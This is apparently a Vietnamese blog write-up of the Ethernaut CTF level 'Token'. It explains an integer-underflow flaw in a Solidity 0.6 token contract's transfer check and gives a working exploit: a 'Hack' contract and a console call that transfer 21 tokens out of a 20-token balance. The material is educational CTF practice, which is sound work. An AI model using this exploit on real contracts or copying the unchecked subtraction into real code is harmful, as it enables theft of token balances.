Post

[Ethernaut CTF] Level 5: Token

Level 5: Token

★★☆☆☆

Given contract

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Token {

  mapping(address => uint) balances;
  uint public totalSupply;

  constructor(uint _initialSupply) public {
    balances[msg.sender] = totalSupply = _initialSupply;
  }

  function transfer(address _to, uint _value) public returns (bool) {
    require(balances[msg.sender] - _value >= 0);
    balances[msg.sender] -= _value;
    balances[_to] += _value;
    return true;
  }

  function balanceOf(address _owner) public view returns (uint balance) {
    return balances[_owner];
  }
}

Phân tích

  • Chúng ta được gợi ý về odometer, vậy odometer là gì ?
  • Odometer ở đây ý là đồng hồ đo số km trên xe, nếu vượt quá mức limit được cài sẵn thì nó tự reset về 0. -> cho ta gợi ý về overflow
  • Chúng ta đều biết về lỗi overflow là hiện tượng tràn số khi khi tính toán số lớn hơn giá trị max của kiểu dữ liệu đã khao báo. Nhưng trong challenge này ta sẽ gặp underflow, tương tự như overflow, underflow chỉ là tràn số khi dưới min và được reset trở lại giá trị max .

  • Để ý trong function transfer ta có:
    1
    
      require(balances[msg.sender] - _value >= 0);
    
  • Ta thấy nếu như balance >= value thì đương nhiên trả về luôn là true, còn nếu như balance < value thì khi balance - value sẽ xảy ra hiện tượng underflow

Solution

Target: làm cho số token trong balance càng lớn càng tốt.

  • Ta kiểm tra balance và thấy có 20 token -> ta cần transfer vào 21 token để trigger hiện tượng underflow
1
2
3
await contract.balanceOf(player).then(x => x.toString())
20

Một contract đơn giản để tranfer trên remix:

// SPDX-License-Identifier: GPL-3.0

pragma solidity >0.6.3;

interface IToken {
    function balanceOf(address) external view returns (uint256);
    function transfer(address to, uint256 value) external returns (bool);
}

contract Hack {
    constructor(address _target) {
        IToken(_target).transfer(msg.sender, 21);
    }
}

hoặc bạn có thể dùng lệnh sau trên console:

1
contract.transfer(player, 21)

Check lại balance -> Done

This post is licensed under CC BY 4.0 by the author.